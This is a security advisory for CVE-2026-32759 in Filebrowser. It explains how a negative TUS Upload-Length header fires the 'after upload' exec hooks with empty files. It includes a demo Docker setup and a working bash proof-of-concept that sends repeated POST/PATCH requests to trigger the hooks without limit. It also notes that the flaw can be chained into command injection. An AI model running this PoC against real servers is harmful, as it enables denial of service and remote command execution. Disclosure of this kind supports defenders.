PT-2026-25857 · Go · Github.Com/Filebrowser/Filebrowser/V2

Published

2026-03-16

·

Updated

2026-03-16

·

CVE-2026-32759

CVSS v4.0
5.3
VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L

Summary

The TUS resumable upload handler parses the
Upload-Length
header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g.
-1
), the first PATCH request immediately satisfies the completion condition (
newOffset >= uploadLength
0 >= -1
), causing the server to fire
after upload
exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured
after upload
hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.

Details

Affected file:
http/tus handlers.go
Vulnerable code - POST (register upload):
func getUploadLength(r *http.Request) (int64, error) {
  uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64)
  // ← int64: accepts -1, -9223372036854775808, etc.
  if err != nil {
    return 0, fmt.Errorf("invalid upload length: %w", err)
  }
  return uploadOffset, nil
}

// In tusPostHandler:
uploadLength, err := getUploadLength(r)  // uploadLength = -1 (attacker-supplied)
cache.Register(file.RealPath(), uploadLength) // stores -1 as expected size
Vulnerable code - PATCH (write chunk):
// In tusPatchHandler:
newOffset := uploadOffset + bytesWritten // 0 + 0 = 0 (empty body)
if newOffset >= uploadLength {      // 0 >= -1 → TRUE immediately!
  cache.Complete(file.RealPath())
   = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user)
  // ← after upload hook fires with empty or partial file
}
The completion check uses signed comparison. Any negative
uploadLength
is always less than
newOffset
(which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.
Consequence: An attacker with upload permission can:
  1. Initiate a TUS upload for any filename with
    Upload-Length: -1
  2. Send a PATCH with an empty body (
    Upload-Offset: 0
    )
  3. after upload
    hook fires immediately with a 0-byte (or partial) file
  4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook
If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.

Demo Server Setup

docker run -d --name fb-tus 
 -p 8080:80 
 -v /tmp/fb-tus:/srv 
 -e FB EXECER=true 
 filebrowser/filebrowser:v2.31.2

ADMIN TOKEN=$(curl -s -X POST http://localhost:8080/api/login 
 -H 'Content-Type: application/json' 
 -d '{"username":"admin","password":"admin"}')

# Configure a visible after upload hook
curl -s -X PUT http://localhost:8080/api/settings 
 -H "X-Auth: $ADMIN TOKEN" 
 -H 'Content-Type: application/json' 
 -d '{
  "commands": {
   "after upload": ["bash -c "echo HOOK FIRED: $FILE $(date) >> /tmp/hook log.txt""]
  }
 }'

PoC Exploit

#!/bin/bash
# poc tus negative length.sh

TARGET="http://localhost:8080"

# Login as any user with upload permission
TOKEN=$(curl -s -X POST "$TARGET/api/login" 
 -H "Content-Type: application/json" 
 -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Token: ${TOKEN:0:40}..."

FILENAME="/trigger test $(date +%s).txt"

echo "[*] Step 1: POST TUS upload with Upload-Length: -1"
curl -s -X POST "$TARGET/api/tus$FILENAME" 
 -H "X-Auth: $TOKEN" 
 -H "Upload-Length: -1" 
 -H "Content-Length: 0" 
 -v 2>&1 | grep -E "HTTP|Location"

echo ""
echo "[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)"
curl -s -X PATCH "$TARGET/api/tus$FILENAME" 
 -H "X-Auth: $TOKEN" 
 -H "Upload-Offset: 0" 
 -H "Content-Type: application/offset+octet-stream" 
 -H "Content-Length: 0" 
 -v 2>&1 | grep -E "HTTP|Upload"

echo ""
echo "[*] Checking hook log on server (/tmp/hook log.txt)..."
echo "[*] If hook fired, you will see entries like:"
echo "  HOOK FIRED: /srv/trigger test XXXX.txt <timestamp>"

echo ""
echo "[*] Repeating 5 times to demonstrate unlimited hook triggering..."
for i in $(seq 1 5); do
 FNAME="/spam hook $i.txt"
 curl -s -X POST "$TARGET/api/tus$FNAME" 
  -H "X-Auth: $TOKEN" 
  -H "Upload-Length: -1" 
  -H "Content-Length: 0" > /dev/null
 
 curl -s -X PATCH "$TARGET/api/tus$FNAME" 
  -H "X-Auth: $TOKEN" 
  -H "Upload-Offset: 0" 
  -H "Content-Type: application/offset+octet-stream" 
  -H "Content-Length: 0" > /dev/null
 
 echo " Hook trigger $i sent"
done
echo "[*] Done - 5 hooks fired with 0 bytes uploaded."

Impact

Exec Hook Abuse (when
enableExec = true
):
An attacker can trigger any
after upload
exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:
  • Denial of Service: Triggering expensive processing hooks (virus scanning, transcoding, ML inference) with zero cost on the attacker's side.
  • Command Injection amplification: Combined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.
  • Business logic abuse: Triggering upload-driven workflows (S3 ingestion, database inserts, notifications) with empty payloads or arbitrary filenames.
Hook-free impact: Even without exec hooks, a negative
Upload-Length
creates an inconsistent cache entry. The file is marked "complete" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.
Who is affected: All deployments using the TUS upload endpoint (
/api/tus
). The
enableExec
flag amplifies the impact from cache inconsistency to remote command execution.

Resolution

This vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.

Fix

Integer Overflow

Weakness Enumeration

Related Identifiers

CVE-2026-32759
GHSA-FFX7-75GC-JG7C

Affected Products

Github.Com/Filebrowser/Filebrowser/V2